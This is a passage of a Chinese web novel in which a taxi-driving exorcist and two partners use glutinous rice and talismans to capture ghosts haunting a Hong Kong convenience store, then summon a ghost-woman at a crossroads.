【消耗20点公里数,收鬼符提升至LV2(熟练)。】
【消耗20点公里数,镇鬼符提升至LV2(熟练)。】
瞬间,关于如何更高效、更稳固地绘制和激发这两种符箓的知识与经验涌入脑海。
绘制速度、成功率和符箓威力都有了小幅提升。
为什么加点这两个,是怕到时候把戏煞恶鬼打残了。
LV1的符箓困不住,跑掉就亏了。
他还想把便利店的五鬼都拿去给岚婆换阴德,看看换了阴德后,出租车系统会不会有什么隐藏属性出现。
“好了,这样应该差不多了。”
古德看着最终剩下的580.6点公里数和那技能面板,心里踏实了不少。
他盘膝坐下,开始运转“基础呼吸法”,吸收着周围空间中稀薄的天地能量,缓缓恢复着刚才试验金光咒消耗的法力。
窗外,夜色深沉。
空气中,仿佛有淡淡的金芒一闪而逝。
第60章 糯米开路,破除阴气
阳历七月十二日,上午。
虽然已是白天,但位于阴阳路附近街角的“便利佳”便利店周围,气氛却显得有些不同寻常。
便利店门口拉起了明黄色的警方警戒线,几名穿着军装制服的巡逻警员守在警戒线外,神情严肃地劝阻着一些好奇围观、指指点点的街坊和路人。
“阿Sir,里面到底发生咩事啊?点解封店啊?”一个提着菜篮的阿婆好奇地问道。
“内部设备检修,电路故障,危险!大家不要靠近,散开点散开点!”一个警员熟练地重复着上级交代的说辞。
围观的人群里,不时传来窃窃私语:
“检修?我看是不干净吧!我早就说这间铺头邪门啦!”一个穿着汗衫的老伯神秘兮兮地对旁边的人说。
“系啊系啊,我听我阿爷讲,七年前这里死过三个人啊!打架打死的!好惨的!”一个年轻人附和道。
“唉,阴阳路这边,哪里没有点奇奇怪怪的事啊,习惯就好了……”另一个路人见怪不怪地摇摇头。
警戒线内,气氛则更加凝重。
古德站在便利店紧闭的玻璃门前,透过玻璃的反光,能看到自己今天的行头。
一身方便活动的深色运动短装,背上斜挎着一个鼓鼓囊囊的土黄色帆布挎包,一张跟读者一样的帅气的脸上,波澜不惊,颇有点现代都市驱魔人的架势。
谢潮和周星星一左一右站在他身后半步的位置。
谢潮依旧是他那身招牌的黑色皮衣皮裤,戴着墨镜,表情冷峻,手里提着一个沉甸甸的黑色尼龙袋。
周星星也学他穿了一身皮衣,款式和谢潮的一模一样,就是鼻梁上还架着那副老土但是能见鬼的黑框眼镜,手里同样拎着一个袋子,紧张地东张西望。
再往后,则是以莫作栋为首的便利店五人组,他们远远地站着,脸色都不太好看,既害怕又带着点好奇。
古德凝神感应着便利店内的气息。
相比昨晚那扑面而来的阴冷怨气,此刻店内的阴气虽然依旧浓郁,但似乎被白天的阳气压制了一些,活跃度降低了不少,如同蛰伏的毒蛇,少了几分张扬,多了几分隐晦的危险。
“白天阳气盛,这东西果然收敛了不少……是个好机会。”古德心中暗道。
他转过头,对谢潮说道:“阿潮,东西带来了吗?”
谢潮闻言,提了提手中的黑袋子,语气有些无奈:“带来了,按你说的,老糯米,库存的一半都在这了。德仔,你确定要这么干?你要活捉它?这东西凶得很啊。”
这糯米是谢潮认识古德后,根据古德的建议,特意去找靠谱的渠道收购并用太阳暴晒过的陈年糯米,专门用来对付阴邪之物,效果比普通糯米好上不少。
但老糯米库存少,制作不易,存量有限。
古德点了点头:“能捉就捉,实在不行再下狠手,迟点我会告诉你为什么活捉。”
他想捉过来丢给岚婆,试验一下阴德是不是能激活系统的隐藏属性。
不过前提是能活捉到这个恶鬼。
古德看了一眼谢潮和周星星,又瞥了瞥他们身后那五个“围观群众”,叹了口气:“话说你们部门就你们俩光杆司令啊?也不多招几个人?这种体力活多几个人分担多好。”
谢潮尴尬地挠了挠头:“我也想啊!但合适的人太难找了!要么胆子小不愿意,要么就是我师父那边不过关。像阿星这种又胆大又有点天赋还不怕死的,已经是稀有动物了。”
旁边的周星星听到他们的对话,眼珠子滴溜溜一转,忽然计上心头。
他扭头对身后的莫作栋招了招手:“莫Sir!过来一下!”
莫作栋愣了一下,小心地走过来:“周Sir,什么事?叫我阿栋就行了。”
周星星一把搂住他的肩膀,一副“我看好你”的表情,压低声音说道:
“阿栋啊,你看现在情况紧急,我们人手严重不足!急需一位像你这样有胆有识、临危不乱的精英帮忙!
现在有个艰巨的任务交给你,等会儿跟我们一块进去,帮忙撒糯米!你赚功劳的时候到了!”
莫作栋一听,脸瞬间就绿了,连连摆手后退:
“啊?不是吧周Sir!我……我……我有哮喘的啊!医生说我不能受惊吓和剧烈运动!万一我进去一紧张,哮喘发作,倒在地上抽抽,你们还得抢救我,那不是更添乱吗?使不得使不得!”
周星星早就料到他会推脱,一脸肉痛地从自己内袋里摸出一张折成三角形的“护身符”。
这是之前古德画了给他们防身用的,他自己都舍不得多用。
他一把塞进莫作栋手里,用近乎忽悠的语气说道:“放心!有古大师亲笔绘制的护身符在此,诸邪退避!保你平安!
拿着!事后算你工伤……呃,算你特殊津贴!以后考虑调你来我们特别事务科,福利好,假期多,还能见世面!”
莫作栋捏着那张还带着周星星体温的符箓,看着周星星那“诚挚”的眼神,又偷偷瞄了一眼面无表情的古德和谢潮,心里天人交战。
最终,对这件事件的好奇心以及……可能调去“神秘部门”的诱惑,战胜了恐惧。
他咽了口唾沫,艰难地点了点头:“好…好吧…周Sir,我…我试试…不过你们得罩着我啊!”
古德在一旁看着周星星这番操作,心里觉得好笑,但也没阻止。
莫作栋这小子确实是个苗子,家里有渊源,自己又是警察,心理素质和接受能力都比普通人强,培养一下说不定真能成为谢潮的得力助手。
见人手凑齐,古德不再耽搁,开始布置任务:
“好了,准备行动。阿潮,阿星,阿栋,你们三个听好——等我破开门,你们立刻冲进去。
不要犹豫,用最快的速度,把手里的糯米尽可能均匀地撒遍店里的每一个角落!特别是墙角、货架底下、收银台后面这些阴暗的地方!不要心疼糯米,撒完为止!”
“糯米至阳,能破阴煞,能暂时中和、驱散店里的阴气,削弱那戏煞的主场优势!撒完糯米后,阿潮你立刻发信号,让外面守着的伙计进来快速清场!
把店里所有的物品,先全部清理出去!减少那东西可以依附的媒介以及有足够的空间可以施展!”
他目光扫过三人,最后落在谢潮和周星星身上:
“清理过程中,我会全程盯着那个戏煞,它要是敢冒头,我就用符压它!
你们不用担心它干扰清场。等场地清干净了,角落里那三个被‘
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戏煞’控制的呆滞怨灵,就交给你们两个处理。”
说着,他从挎包里掏出四张辟鬼符递给谢潮和周星星:“虽然你们有能接触灵体的手套,但是那手套没有多大攻击效果。你们把这符贴在手臂上,能暂时提升你们对阴魂的物理攻击效果。
角落那三个怨灵被压制久了,灵体不稳,威胁不大。你们把它们揍到失去行动能力、魂体涣散就行,别直接打散,我还有用。”
谢潮和周星星对视一眼,点了点头,熟练地将符纸拍在自己左右臂上。周星星还夸张地活动了一下手腕,做了个挥棒的动作。
只有莫作栋,紧张地握紧了手里的糯米袋,又摸了摸口袋里的护身符,不停地做着深呼吸。
“行动!”古德低喝一声!
他转身面对便利店玻璃门,右手拿出一张辟邪符,凝聚一丝法力,快速在门锁位置拍了过去,口中低喝:“破!”
嗤~
一声轻响,门框周围残留的阴气被强行撕开一个口子。
砰!
玻璃门自动打开!
一句“欢迎光临冒了出来。”
“冲!”谢潮大吼一声,一马当先,抓了一把糯米就朝里面撒去!
周星星和莫作栋也硬着头皮,紧跟其后,三人如同撒种机一样,将大把大把晶莹剔透的陈年糯米奋力抛洒出去!
噼里啪啦!滋滋滋——
糯米落入店内,仿佛冷水滴入热油锅,瞬间响起一连串密集的、轻微的爆裂声!
凡是糯米落下的地方,地面上、货架上那层肉眼不可见的、浓郁的灰黑色阴气如同被灼烧般迅速消退、淡化,冒起缕缕极淡的白烟!
整个便利店内的温度仿佛都回升了一丝,那种令人窒息的阴冷感顿时减轻了不少!
“快!继续撒!别停!”
谢潮一边喊,一边将整袋糯米抡起来,像泼水一样大面积泼洒!
周星星和莫作栋也有样学样,三人配合默契,很快就将带来的几袋糯米撒遍了便利店的大部分区域。
与此同时,守在外面的十几名军装警员收到谢潮的信号,立刻行动!
他们戴着口罩和手套,推着准备好的空纸箱和袋子,快速冲进店内,开始高效地清理便利店里架子上的物品。
并且把清理后的架子一起抬了出去。
整个过程训练有素,毫不拖泥带水。
古德则站在门口,目光如炬,左手扣着一张“斩鬼符”,全身戒备,牢牢锁定着仓库方向那股最浓郁的、蛰伏不动的阴寒气息。
那戏煞似乎对古德的气息和破邪糯米有些忌惮,并没有立刻现身阻止,只是散发出更加冰冷的怨念。
清理工作进展顺利。
大约十几分钟后,便利店内部能被快速清理的物品基本都被搬空了,显得空旷了不少,虽然依旧有些阴森,但那股盘踞不散的秽气确实淡了很多。
而就在便利店最里面的角落,那三个穿着七年前款式衣服、神情呆滞、身形虚幻的男性怨灵,依旧一动不动地站在那里,对周围的动静毫无反应,仿佛真的只是三尊冰冷的雕像。
它们身上的怨气似乎也因为糯米的洗礼和环境的清理而变得有些微弱。
“潮哥,阿星!该你们了!”
古德出声提醒。
第61章 三个小怨灵,搞定(今天心情好,加更一章大章)
便利店内的杂物被清理一空,显得空旷了不少,地面上还残留着星星点点的糯米,空气中弥漫着一股淡淡的米香和尚未完全散去的阴冷气息混合的古怪味道。
古德的目光扫过角落那三个依旧呆立不动、神情麻木的怨灵,对谢潮和周星星示意道:
“阿潮,阿星,角落那三个,交给你们处理了。虽然看起来傻乎乎的,但毕竟是鬼物,别大意。”
谢潮和周星星对视一眼,点了点头。
谢潮经验更丰富,低声道:“阿星,我去对付左边那两个,右边那个交给你练练手。记住,鬼和人不一样,没有实体,但攻击带阴煞,挨一下也不好受,小心点,别托大。”
周星星深吸一口气,脸上闪过一丝紧张,但更多的是跃跃欲试的兴奋。
他用力点了点头,握紧了有贴着辟邪符的拳头:“明白!交给我!”
两人一左一右,小心翼翼地朝着角落那三个仿佛人形立牌般的怨灵靠近。
站在一旁的莫作栋瞪大了眼睛,使劲瞅着空荡荡的角落,除了几个废弃的货架影子,啥也没看到。
他忍不住凑近古德,小声问道:“古大师……那个角落……真的有……那个?”
他指了指空处,表情既害怕又好奇。
古德看了他一眼,随手从口袋里摸出两片翠绿的柳叶,指尖微不可查地渡入一丝法力,在柳叶上虚划而过,口中低念一句简单的开眼咒诀,然后抬手“啪”地一下将柳叶贴在了莫作栋的左右眼皮上。
“天地清明,借法开眼!敕!”
莫作栋只觉得眼前微微一花,视线模糊了瞬间,随即恢复正常。
但当他再次看向那个角落时,顿时倒吸一口凉气,头皮发麻!
只见角落里,赫然站着三个穿着几年前旧款衣服、脸色惨白如纸、眼神空洞无神、身体微微有些透明的男人!
他们就像三尊冰冷的蜡像,一动不动,周身散发着淡淡的灰黑色怨气,与周围环境格格不入!
“嘶……真…真的有啊!”
莫作栋声音发颤,下意识地后退了半步,总算明白刚才周星星和谢潮在对什么摆架势了。
就在这时,异变陡生!
仿佛受到了某种无形力量的刺激,那三个原本呆滞的怨灵猛地浑身剧震!
浓郁的、带着暴戾气息的黑气瞬间从它们体内爆发出来!
空洞的眼睛里骤然亮起猩红的光芒!
“吼——!!!”
三声重叠在一起的、充满痛苦和暴虐的嘶吼猛地响起!
它们仿佛被无形的线操控的木偶,动作僵硬却迅猛地朝着逼近的谢潮和周星星扑了过去!带起阵阵阴风!
古德眉头一挑,敏锐地感觉到一股更强大、更阴冷的意念从仓库方向弥漫出来,瞬间接管了这三个怨灵。
“果然是那戏煞恶鬼在捣鬼!它利用便利店残留的阴气远程操控了它们!”
但他并没有出手干预。
这三个怨灵本身实力并不强,主要是被强行激发了怨气,正好给周星星练练手,积累点实战经验。
谢潮面对两个扑来的怨灵,眼神一冷,丝毫不慌。
他脚下步伐灵活一变,侧身躲开第一个怨灵的扑抓,同时右手手肘灌注气力,猛地向后一顶!
“嘭!”一声闷响,仿佛击中了破旧的皮革!那怨灵发出一声惨嚎,被他蕴含着辟邪符力量的一击打得踉跄后退,魂体一阵波动。
几乎同时,谢潮左手闪电般探出,五指微曲,精准地扣住了第二个怨灵抓来的手腕!
触手一片冰寒刺骨!
但他手臂上的“辟鬼符”瞬间亮起微光,将那股阴寒邪气隔绝在外!
他顺势一扭一拽,脚下使了个绊子!
“给我趴下!”
那怨灵下盘不稳,被他硬生生摔倒在地,发出痛苦的呜咽,魂体与地面残留的糯米接触,冒起丝丝白烟,发出“滋滋”的灼烧声!
谢潮动作干净利落,没有丝毫多余花哨,完全是实战派的风格,三下五除二就压制住了两个怨灵。
另一边,周星星的表现则……更具观赏性一些。
他面对那个扑来的瘦高个怨灵,先是怪叫一声:“哇!大哥,打招呼不用这么热情吧!”
脚下却丝毫不慢,一个夸张的后跳躲开利爪,动作幅度大得差点自己绊倒自己。
“看我的夺命剪刀脚!呃…好像没用…那看拳!”
他嘴里喊着奇怪的招式名,身体一矮,躲过又一爪,然后猛地踏前一步,右拳紧握,手臂上的“辟邪符”微微发烫,一拳狠狠捣向那怨灵的腹部!
“嘭!”
“嗷——!”
瘦高怨灵被打得弓起身子,发出一声凄厉的惨叫,魂体剧烈扭曲,向后倒飞出去!
周星星得势不饶人,乘胜追击,一边冲过去一边大喊:
“还敢吓我!打你个头!打你胸口!打你小弟弟!我打打打打打!”
他拳脚并用,虽然没什么章法,但气势十足,每一拳每一脚都蕴含着辟邪符的力量,打得那怨灵毫无还手之力,惨叫声不绝于耳,魂体越来越淡,几乎快要透明了!
“好了阿星!可以了!再打就散了!”
古德见状,不得不出声制止。
再打下去,这怨灵估计就直接超度了,他还想留着换阴德呢。
周星星这才意犹未尽地停手,甩了甩有些发麻的拳头,长舒一口气,脸上露出畅快淋漓的表情:
“爽!原来打鬼是这种感觉!比打沙包过瘾多了!”<
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br>他感觉自己心中的恐惧消散了大半,取而代之的是一种新奇和自信。
再看谢潮那边,早就解决了战斗,两个怨灵身形虚幻,发出无力的嘶吼。
莫作栋在一旁看得目瞪口呆,嘴巴张得能塞进一个鸡蛋,半晌才喃喃道:“哇……不是吧……这么……生猛?”
他看看动作凌厉高效的谢潮,又看看虽然滑稽但效果拔群的周星星,感觉自己的世界观再次被刷新了。
古德看着周星星那副“我很厉害吧”的样子,忍不住吐槽了一句:
“喂,阿星,你是打鬼还是打鼓啊?动作花里胡哨的,浪费力气。跟阿潮学学,简洁高效点。”
周星星嘿嘿一笑,不以为意:“德仔,这你就不懂了,这叫气势!气势压倒一切!”
古德摇摇头,不再理他。
他从莫作栋帮忙提着的一个小箱子里,取出了两个早就准备好的、瓶底用朱砂绘制了“收鬼符”的土黄色瓷瓶。
他拿起其中一个,手腕一抖,抛给了谢潮。
谢潮轻松接住,有些疑惑地看向古德,用眼神询问:这是要干嘛?
古德微微一笑,解释道:“试试看,运用你呼吸法练出来的那点气流,集中精神,注入这个瓷瓶底部的符文中,激活它,然后对准地上那俩怨灵试试。”
他顿了顿,补充道:“看看你能不能……把它们收进去。”
谢潮闻言,愣了一下,随即眼中爆发出极大的兴趣和惊喜!
“我?我来收鬼?”他没想到自己这么快就能接触到这种法术!
一直以来他都是靠“灭魂”**和物理超度,这种正统的“收鬼”手段,他还是第一次尝试!
他深吸一口气,压下心中的激动,按照古德所说,集中精神,努力调动丹田内那团微弱但尚未完全转化为法力的气流,小心翼翼地将其引导至指尖,然后缓缓注入手中的瓷瓶。
嗡……
瓷瓶底部的“收鬼符”接收到这股外来的能量,虽然微弱,但性质纯正,与符箓本身产生了共鸣!
朱砂绘制的符文猛地亮起一层淡淡的、微不可查的红光!
虽然远不如古德激活时那么耀眼,但确实被成功激发了!
“成功了!”
谢潮心中一喜,他能感觉到手中的瓷瓶产生了一股微弱的吸力!
他立刻将瓶口对准地上一个还在挣扎的怨灵,低喝一声:“收!”
那怨灵发出一声惊恐的尖叫,魂体不受控制地扭曲、缩小,化作一道淡淡的黑烟,“嗖”地一下被吸入了瓷瓶之中!
谢潮接着拿过古德手里的镇鬼符,迅速封住瓶口,阻断了内外联系。
他看着手中微微震动的瓷瓶,脸上露出了难以置信和巨大的成就感!
第62章 收摄戏煞恶鬼
看着谢潮成功地将一个怨灵收入瓷瓶,古德满意地点了点头。
不错,虽然法力微弱,但确实能驱动符箓,是个合格的“工具人”……哦不,是潜力巨大的合作伙伴!
他不再耽搁,自己也拿起另一个瓷瓶,走到另外两个被谢潮和周星星揍得瘫软在地、魂体涣散的怨灵面前。
他甚至不需要刻意运转法力,只是心念一动,LV2的“收鬼符”便轻易被激活,瓶口产生一股无形的吸力,轻松将那两个毫无反抗之力的怨灵“嗖嗖”两声收了进去。
他随手拿出两张“镇鬼符”贴在瓶口,彻底封死。
“搞定。”
古德将封好的瓷瓶也放进箱子里,同时心里盘算着:
“谢潮这小子天赋不错,呼吸法练得挺快,已经能勉强驱动符箓了。
看来以后可以把一些基础的、耗时间的活儿交给他,比如画‘辟邪符’、‘镇魂符’这种低级符箓,或者像今天这样收摄一些弱小的游魂……能省下我不少法力和时间。”
他的思维又开始发散:“纸扎陈老爷子年纪大了,修炼呼吸法可能有点难,但他经验丰富,见识广博,如果也能练出点法力,说不定能帮我绘制更复杂的符箓,甚至开发出更多神奇的道具?
周星星这家伙胆子大,命格好像也挺特殊,要是也能练出点气感,以后岂不是能多一个工具人?人手多了,赚阴德的效率肯定更高……”
不过这些念头只是一闪而过。
眼下,还有正事要办。
小弟清理干净了,接下来,就该对付躲在仓库里的老大了。
古德深吸一口气,眼神变得锐利起来。
他集中精神,心中默诵金光神咒:
“天地玄宗,万炁本根!广修亿劫,证吾神通!三界内外,惟道独尊!体有金光,覆映吾身.......金光速现,覆护**!急急如律令!敕!”
嗡——!
随着咒语完成,他体内的法力瞬间被引动、燃烧!
足足20丝法力汹涌而出!
霎时间,一层凝实而璀璨的淡金色光芒自他体内透发而出,迅速覆盖全身!
金光流转,将他映照得如同庙宇中开光的金身神像,宝相庄严,散发出一种神圣不可侵犯、诸邪退避的凛然气势!
周围的阴晦之气被这金光一照,如同冰雪遇烈阳般迅速消融退散!
“哇!德仔!你…你变小金人了?!好刺眼!好威风啊!”
周星星被这突如其来的金光闪到了眼睛,忍不住惊呼出声,语气里充满了羡慕和夸张的赞叹。
古德没好气地瞪了他一眼:
“收声!保持安静!这金光很耗法力的,我只能维持两分钟!两分钟内,必须把里面那家伙揍趴下!”
说完,他不再废话,转身面向那扇紧闭的仓库木门,抬起闪烁着金光的右脚,猛地一脚踹出!
砰!!
木门应声而开!
一股更加浓郁、冰冷、带着戏文腔调怨念的阴风扑面而来!
仓库内光线昏暗,只见那个穿着便利店服装、画着狰狞脸谱的戏煞恶鬼正悬浮在半空,咿咿呀呀地唱着凄厉的戏文,周身黑气翻滚,显然已经严阵以待!
“别唱了!难听**!收你的来了!”
古德冷喝一声,率先发动攻击!
他并没有直接冲上去,而是把从谢潮手里拿来的一瓶显形水,手臂一扬,用力朝那戏煞恶鬼砸了过去!
那戏煞恶鬼似乎对这东西颇为忌惮,发出一声尖锐的嘶鸣,手臂一挥,一股黑气如同触手般射出,精准地在半空中击碎了玻璃瓶!
显形水四溅,却没能碰到它分毫。
“果然,这玩意对付这种老鬼效果一般,速度太慢,容易被拦截。”古德心中暗道。
但他身后的谢潮和周星星反应极快!
见古德动手,两人立刻有样学样,抓起腰带上剩下的显形水,如同投掷**般,接二连三地朝着戏煞恶鬼猛砸过去!
“看招!”
“请你饮汽水啊!”
“接住啦!”
噼里啪啦!砰砰!
六七瓶显形水如同雨点般砸向“戏煞”!
它虽然动作迅捷,黑气飞舞,接连击碎了三四个瓶子,但终究双拳难敌四手?六手!
有两瓶漏网之鱼穿过它的防御,结结实实地砸在了它的魂体之上!
啪嚓!嗤——!!!
“嗷啊啊啊——!!!”
显形水如同强酸般腐蚀着它的阴气魂体,瞬间冒起大量浓郁的白烟!
戏煞恶鬼发出痛苦至极的惨嚎,身形剧烈扭曲,戏文也唱不下去了,周身翻滚的黑气都黯淡混乱了不少!
“就是现在!”
古德眼中精光一闪,脚下发力,整个人如同离弦之箭,带着一身璀璨金光,猛地冲入了仓库,直扑那受创的戏煞恶鬼!
那戏煞恶鬼受此重创,凶性大发!
见古德冲来,它发出一声怨毒的尖啸,那双画着浓重油彩的鬼爪之上瞬间凝聚起浓郁得如同实质的漆黑阴气,带着刺骨的寒意和腐蚀心神的怨毒,狠狠地抓向古德的面门和胸口!
速度极快!
古德有心试试“金光咒”的实战效果,而且还有护身符在身。
他不闪不避,低喝一声,双臂交叉格挡在前,周身金光大盛!
嘭!!
鬼爪结结实实地抓在了金光之上!
发出一声沉闷的巨响!
仿佛重锤砸在了铜钟之上!
古德只觉得双臂微微一震,一股冰冷刺骨、带着强烈侵蚀性的阴煞之力透过金光传递进来,但立刻就被至阳至刚的金光能量中和、驱散!
手臂只是感到些许酸麻,并无大碍。
而反观那戏煞恶鬼,它的鬼爪在接触到金光的瞬间,就如同摸到了烧红的烙铁!
嗤嗤嗤——!!!
刺耳的灼烧声响起!
它爪上的浓郁黑气以肉眼可见的速度被金光净化、蒸发!
冒起阵阵青烟!
剧痛让它发出一声更加凄厉的惨叫,触电般缩回鬼爪,看向古德身上那层金光的眼神充满了惊惧和怨毒!
“有效果!金光不仅能防御,还能主动灼烧阴气!好东西!”古德心中一喜。
但他也敏锐地感觉到,刚才硬抗那一击,维持金光咒的法力消耗明显加快了一丝!
“看来受到攻击,金光咒的消耗也会增加。不能一味硬抗,得速战速决!”
试探完毕,古德不再保留!
那戏煞恶鬼还想汲取仓库中残留的阴气恢复,但古德岂会给它机会?
他身形如游龙,避开对方慌乱中喷出的一股污秽黑气,右手一翻,一张“斩鬼符”已然夹在指间!
法力灌注
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符箓瞬间亮起刺目金光!
“敕!”
古德手腕一抖,金色符箓如同飞刀般激射而出,精准地打在了“戏煞”的胸口!
轰!!!
至阳破邪的符力轰然爆发!
“嗷——!!!”
戏煞恶鬼发出一声撕心裂肺的惨嚎,胸口被炸开一个大洞,黑气疯狂逸散,魂体变得极其不稳定,仿佛随时会崩溃!
它试图吸收周围阴气,但便利店大部分的阴气已被糯米驱散,仓库这点残留根本杯水车薪!
古德得势不饶人,揉身再上,覆盖着金光的拳头如同雨点般落下!
嘭!嘭!嘭!
每一拳都打得“戏煞”魂体剧震,黑烟直冒,惨叫连连!
它身上的戏服变得破破烂烂,脸上的油彩都模糊了,再也没有了之前的嚣张和诡异,只剩下狼狈和恐惧!
周星星见状,也兴奋地冲进来,趁机在它背后踹了几脚,虽然威力不大,但侮辱性极强:“叫你吓人!叫你唱戏!难听**!”
那戏煞恶鬼被打得毫无还手之力,蜷缩在地上,终于承受不住,发出了断断续续的、带着哭腔的求饶声:“饶…饶命…大师饶命…小的不敢了…再也不敢了…”
古德见它魂体已经淡薄得快要透明,怨气也消散得七七八八,这才停了手。
周星星也意犹未尽地又轻轻踢了一脚,才退开。
古德从箱子里拿出一个新的、底部绘制了“收鬼符”的瓷瓶,对准地上奄奄一息的戏煞恶鬼。
“收!”
微弱的吸力传来,那戏煞毫无反抗之力,化作一缕淡薄的黑烟,被收入瓶中。
古德熟练地贴上“镇鬼符”,彻底封印。
搞定收工!
他将瓷瓶放入箱子,然后对周星星说道:“阿星,仓库里可能还有些残留的阴气,你用剩下的糯米到处撒一撒,彻底清理干净。这里就交给你了。”
周星星闻言,指着自己的鼻子,一脸不可置信:“啊?不是吧德仔?就我一个人?这么大工程?会累死的!”
古德瞥了他一眼,淡淡道:“能者多劳嘛。等会儿多分你一百块辛苦费。”
周星星立刻翻了个白眼,夸张地叫道:“哇!大佬!一百块?你当我是廉价劳动力啊?买叉烧饭都不够加料啊!”
古德面无表情:“那你要不要?”
周星星瞬间变脸,一把抢过装糯米的袋子,满脸堆笑:
“要!当然要!蚊子腿也是肉嘛!德仔你放心!保证把这里打扫得干干净净,一根鬼**都不剩下!你们先去歇着!”
说完就屁颠屁颠地开始撒糯米了。
古德摇摇头,和谢潮一起走出了仓库,来到便利店门口。
阳光透过玻璃门照进来,驱散了不少阴霾。
古德从口袋里摸出烟盒,抖出两根烟,递了一根给谢潮,自己叼上一根,点燃,深吸了一口,缓缓吐出烟雾。
谢潮接过烟,也点燃,靠在门框上,看着外面渐渐散去的人群和依旧守着的巡逻警,沉默了片刻,还是忍不住问出了心中的疑惑:
“阿德,”他吐出一口烟,语气有些不解,“这次……为什么非要费这么大劲活捉它?
这种害过人的恶鬼,怨气又深,直接打散永绝后患不是更干脆?就是交给我师父超度……也挺麻烦的吧?”
第63章 召唤岚婆上来
古德手指无意识地摩挲着腰间那柄今天特意带上、却最终没用上的铜钱剑剑柄,感受着那冰凉粗糙的触感。
他吐出一口烟,烟雾在午后的阳光下缓缓散开。
“我认识了一个……嗯,算是在下面有点关系的鬼婆,叫岚婆。”
他组织着语言,尽量说得通俗易懂,“她算是在地府挂了个名,是个见习鬼差,专门负责接引一些这个世界的游魂野鬼下去。
跟她合作,把合适的鬼魂交给她带去交差,她能赚她的‘业绩’,我们这边……也能积攒点‘阴德’。”
他顿了顿,补充道:“这恶鬼害了不少人。交给岚婆,让她带去下面审判发落,是投胎还是下油锅,让下面决定,也算给它一个了结。我们也能换点好处,赚点阴德,死后也能在下面混个一官半职。”
谢潮听完,眼前顿时一亮!
他原本微蹙的眉头舒展开来,语气都带上了一丝难得的兴奋:
“还有这种门路?那岂不是说,以后我们遇到那些……嗯,就是那些没害过人或者有心愿未了的游魂,就不用等他们阴寿完,可以直接‘打包’交给这位岚婆带下去?”
他立刻想到了纸扎陈店里那些时常徘徊、接受香火但又无法自行往生的老主顾们,那些大多是无害甚至有些可怜的鬼魂。
他一直觉得直接打散它们有些过于残忍,但师父超度起来又费时费力。
如果真有这么个渠道……
古德看了谢潮一眼,点了点头。
他了解谢潮,别看这家伙外表冷酷,但内心其实很重感情,特别对某些规矩看得很重,甚至有点……对鬼比对人还好。
对那些没主动害过人的鬼魂,他其实并不愿意下死手。
这或许跟他从小在纸扎铺长大,见多了各种鬼魂有关。
“理论上是的。”
古德掐灭烟头,精准地弹进几步外的便利店垃圾桶里,“只要是符合‘接引’标准的,应该都可以。具体怎么操作,规矩怎么样,晚上我约了她见面细谈。”
他指了指莫作栋帮忙提着的那个箱子:“里面还有一个空瓷瓶和几张镇魂符。阿潮,你那边要是有‘客户’,知道怎么用了吧?收了之后联系我。”
说完,他拍了拍谢潮的肩膀,转身就朝着街边自己的出租车走去,潇洒地挥了挥手:
“这里后续的手尾就交给你了,记得跟店主打声招呼,安抚一下。还有,别忘了收钱!我那六万八块钱,记得转我银行卡账号!晚上联系!”
没等谢潮回应,古德已经拉开车门,发动引擎,红色的出租车汇入车流,很快消失在下个路口。
谢潮站在原地,看着古德远去的方向,眼神闪烁,手指无意识地敲打着大腿外侧,显然在飞速思考着这送鬼下去的可行性……
……
下午的时光平淡而忙碌。
古德开着车,穿梭在九十年代香江的大街小巷。
大部分乘客都是普通的上班族、主妇、学生,为生活奔波,为琐事烦恼,车厢里充满了烟火气。
偶尔也会遇到一两个身上带着些许晦气或者阴气的乘客,但大多只是近期运气不佳或者接触了不干净的东西,程度很轻,古德也懒得理会,只是暗中运转呼吸法,将车内残留的微弱负面气息驱散,保证自己的“工作环境”舒适清爽。
只有一个乘客让他多看了一眼。
那是个年轻人,长相和郑立、郑琛兄弟有几分相似,但气质更跳脱一些,嘴里哼着跑调的流行歌,看起来没心没肺,不过周身气息明亮,不像撞邪的样子。
古德心里嘀咕了一句:“又是《阴阳路》系列的脸孔?这次不知道是哪个单元的……看起来挺正常,没沾什么脏东西。”
他也懒得主动搭讪提醒,多一事不如少一事。
他现在满脑子都是怎么多赚点公里数,和找个肥羊,争取早点攒够钱去买个别墅,把自己的道场彻底落实。
子时,夜凉如水。
阴阳路附近一个相对僻静的十字路口,路灯昏暗,车辆稀少,只有夜风拂过树叶的沙沙声。
忙碌了一天的古师傅带着他的小跟班谢不肉来到了十字路口中央。
谢潮依旧是一身黑皮衣,站在旁边一个废弃的石墩上,双手插袋,眼神警惕地扫视着周围,保持着他认为最酷的姿势。
古德则蹲在地上,从挎包里拿出四根细细的线香,分别插在十字路口的四个方向,这是略偏向阴位的位置。
又拿出一叠粗糙的黄纸钱,用一次性打火机点燃。
橘黄色的火苗舔舐着纸钱,迅速将其化为灰烬,带着一种特殊香味的青烟袅袅升起,在寂静的夜空中显得格外醒目。
“喂
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,别凹造型了,这里又没观众。”
古德头也不回地对谢潮说道,“过来帮忙喊人,礼貌一点!”
谢潮闻言,轻轻从石墩上跳下,落地无声,顺手理了理被风吹得有些乱的刘海,语气平淡却带着一丝自恋:
“有没有人不重要,帅,是一种态度,是一辈子的事。时刻保持最佳状态,是专业人士的基本素养。”
古德无语地翻了个白眼,懒得理他。
他站起身,清了清嗓子,对着空旷无人的街道,用一种不高但穿透力很强的声音喊道:
“岚婆——!岚婆——!有事相商,请您现身一见——!”
谢潮也有样学样,压低声音跟着喊了两声:“岚婆——!岚婆——!出来收快递啦——!”
喊了几声,周围除了风声,没有任何回应。
谢潮皱了皱眉:“德仔,你这方法靠不靠谱啊?别是被人忽悠了吧?这大半夜的对着空气喊话,感觉有点傻啊……”
古德也有点嘀咕,刚想再试试。
突然,一个苍老、略带沙哑、带着些许无奈的女声,毫无征兆地从他们身后极近的地方响了起来:
“别喊了别喊了……老婆子我耳朵还没聋呢……大半夜的在这十字路口烧香叫魂,再喊下去,就扰民了,小伙子们。”
两人猛地一惊,迅速转身!
只见岚婆不知何时已经悄无声息地站在了他们身后一步远的地方,依旧是那身深色偏襟衫,头发梳得一丝不苟,面色苍白,眼神带着点无奈和好笑地看着他们。
她仿佛一直就在那里,只是他们没发现。
谢潮吓了一跳,下意识地后退了半步,手都摸到了后腰的枪套上。
他没见过岚婆,这种神出鬼没的出场方式让他心里发毛。
古德倒是镇定一些,毕竟见过一次了。
他松了口气,连忙拱手行了个礼:“岚婆,您来了。不好意思,打扰您休息了。”
岚婆摆了摆手,目光扫过地上燃烧的纸钱和线香,鼻子微微动了动,似乎在嗅闻香火的味道。
